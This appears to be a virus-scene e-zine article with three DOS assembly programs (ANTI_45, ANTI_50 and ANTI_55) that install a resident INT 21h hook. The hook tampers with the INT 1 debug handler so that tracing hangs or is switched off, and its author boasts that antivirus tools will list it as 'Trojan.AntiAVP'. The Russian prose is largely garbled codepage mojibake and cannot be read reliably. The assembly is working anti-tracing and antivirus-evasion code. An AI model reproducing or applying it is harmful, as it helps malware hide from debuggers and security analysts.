Ä[]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[2B]Ä

                                 Ž' int 1.


                           ‘â àë©, áâ àë©, int 1.
                         Œë ¯®¤ ­¨¬, ª ¦¨áì, á¨¤¨¬.
                            €¢¥à ¬ ¨ ­¥ ¢¤®¬¥ª,
                           çâ® ¥£® ã¦ ¢ëè¥« áà®ª.

                         ®á¬®âà¨ ­  „®åâ®à ‚í¡...
      “à®­¨ á«¥§ã áªã¯ãî, ¤®áâ ¢ ï ¨§ èâ ­¨­, ã¦ á®¢á¥¬ ­¥ ¯ á¯®àâ¨­ã.
                ®¨¬¥© ¥£® ª ª ª«ïçã - íâ ­¥ âàã¤­ ï § ¤ ç .
                 Ž­ ¨¬¥¥âáï ¢® ¢á¥¬, ­¥ á¯ á¥â ¥£® condon.

     •®ç¥èì ¢ ¯ãè-ä(pushf), å®ç¥èì ¢ ¯®¯ã(popf) - ­¥ ¢¨¤ âì ¥¬ã …¢à®¯ë.
                H® „ ­¨«/off ¤ ¦¥ à ¤, çâ® ¥£® ¨¬¥îâ ¢ § ¤.
               Ž­ ®ª®èª¨ ¢á¥ ¬ «î¥â, æ¨äàã 32 ­  ­¨å à¨áã¥â.
                                 %ã¤®¦­¨ª.

                 AVP ¢á¥å ã¤ «¥© ¨ ¡ëâì ¬®¦¥â ¢á¥å à¥§¢¥©.
                  Ž­ ª®¬ ­¤ë  ª¨ §­ ¥â ¨ ç¥£®-â® § ¬¥ç ¥â.
                 ˆ ­  ¯ãè-ä ¨ ­  ¯®¯¥ ã ­¥£® § âëçª  ¥áâì.
                        ‚á¥å § âëç¥ª ¨ ­¥ áç¥áâì...

             ˆ ss ®­ ¤ ¦¥ §­ ¥â, ¨ ¯à¥ä¨ªáë á¥£¬¥­â®¢ ã¢ ¦ ¥â,
                 H® § ç¥¬ ¢á¥ íâ¨ ¬ãª¨, íâ¨ á«®¦­ë¥ ­ ãª¨?
                         „¥áïâ®ª áâà®ª ¨ ¢á¥ ®¡«®¬,
                         á¬. ¯à® á¯ á¥­ì¥ ¨ condon.

               H ¤®¥«®, § ªàã£«ïîáì, á¬. ­¨¦¥ ¯à®áâ®© ¯à¨¬¥à.
                à®áâ®, ¤¥è¥¢®, á¥à¤¨â®,  ­â¨âà á¨­£ int 1.
                à¨¬¥­¨¬® ¤«ï § é¨âë ®â ¡¥§¤ à­ëå âà á¨è¥©.

                           * * *  The End  * * *

ÄÄÄÄ[ANTI_45.ASM]ÄÄÄÄ[START]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.model tiny	;trace - MustDie	(c)2b
.code
.386
org 100h
start:
	mov	ax,3521h		; int 13 or 21
	int	21h
	mov	word ptr ijmp+2,es
	mov	word ptr ijmp,bx
	lea	dx,int4trace
	mov	ah,25h
	int	21h
	lea	dx,lastbyte
	int	27h

int4trace:
	push	ds
	push	si
	xor	si,si                   ; si = 0
        mov     ds,si                   ; ds = 0
        lds     si,[si+4]               ; ds:si - seg:ofs int1
        push    word ptr [si]           ; save 1st word
        mov     [si],word ptr 0FEEBh    ; replace 1st word with  jmp $  or hlt
        pop     word ptr [si]           ; restore 1st word
	pop	si
	pop	ds
	db	0eah
ijmp:	dw	?,?
lastbyte:
end start
ÄÄÄÄ[ANTI_45.ASM]ÄÄÄÄ[END]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ÄÄÄÄ[ANTI_50.ASM]ÄÄÄÄ[START]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.model tiny	;trace - MustDie	(c)2b
.code
.386
org 100h
start:
	mov	ax,3521h		; int 13 or 21
	int	21h
	mov	word ptr ijmp+2,es
	mov	word ptr ijmp,bx
	lea	dx,int4trace
	mov	ah,25h
	int	21h
	lea	dx,lastbyte
	int	27h

int4trace:
	push	ds
	push	si
	xor	si,si                   ; si = 0
        mov     ds,si                   ; ds = 0
        lds     si,[si+4]               ; ds:si - seg:ofs int1
        push    dword ptr [si]		; save 1st dword
        mov     [si],dword ptr 2cah	; replace 1st dword with
        				; retf 2  -  trace flag off
        pop     dword ptr [si]          ; restore 1st dword
	pop	si
	pop	ds
	db	0eah
ijmp:	dw	?,?
lastbyte:
end start
ÄÄÄÄ[ANTI_50.ASM]ÄÄÄÄ[END]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ÄÄÄÄ[ANTI_55.ASM]ÄÄÄÄ[START]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.model tiny	;trace - MustDie	(c)2b
.code
.386
org 100h
start:
	mov	ax,3521h		; int 13 or 21
	int	21h
	mov	word ptr ijmp+2,es
	mov	word ptr ijmp,bx
	lea	dx,int4trace
	mov	ah,25h
	int	21h
	lea	dx,lastbyte
	int	27h

NewInt1:
;-----------------------------
	jmp	$			; ¢¨á¨¬
;---------- or ---------------
;	mov	eax,0f000fff0h		;   ¯®ç¥¬ã ­¥ ¯à®áâ® jmp f000:fff0 ?
;	iret				;   ¯®â®¬ã, çâ® â ª ¯à¨ª®«ì­¥©,
					; ®­ á ¬ ¢¨­®¢ â...  ;)
;---------- or ---------------
;	retf	2			; trace flag off
;-----------------------------
int4trace:
	push	eax			; or simple push ax ?
	push	ds
	xor	ax,ax
	mov	ds,ax			; ds = 0
	push	cs
	lea	ax,NewInt1
	push	ax
	pop	eax			; eax = NewInt1
	xchg	eax,ds:[4]		; set new int1 (NewInt1)
					; <- if trace then executing (NewInt1)
	xchg	eax,ds:[4]		; restore old int1
	pop	ds
	pop	eax			; or simple pop ax ?
	db	0eah
ijmp:	dw	?,?
lastbyte:
end start
ÄÄÄÄ[ANTI_55.ASM]ÄÄÄÄ[END]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


PS:
‡­ ï ¬­¨â¥«ì­®áâì ¨ ¯®¢ëè¥­­®¥  ‘€ŒŽ_á®_ŒH…Hˆ…  [’ˆŒ€  ¢¯], ¡ã¤¥¬ ®¦¨¤ âì
¯®ï¢«¥­¨ï ¢ ¡ §¥  ¢¯ ­®¢ëå âà®ï­®¢ ¯®¤ ­ §¢ ­¨¥¬: Trojan.AntiAVP 45,50,55
¨«¨ ¯®áªà®¬­¥¥ Trojan.Antitrace  45,50,55


2 FRiZER:
•®à®è ï â¢®ï ¨¤¥©ª  ¨ áâ âìï ¡ë«  ¢ MooN_BuG, Issue 7, Sep 1998, file 005.
Ÿ ¯àï¬® ¯« ª « ª®£¤   ¢¯, ­  ¯à®áâ®© à¥§¨¤¥­â¨ª, áª § « ANTIAVP aka Antitrace


2All:
‘¬¥è­®?  „  ­¥â, ¯®¦ «ã©, íâ® ã¦¥ ¢¥àå ¬ à §¬ .

                                                                         (c) 2b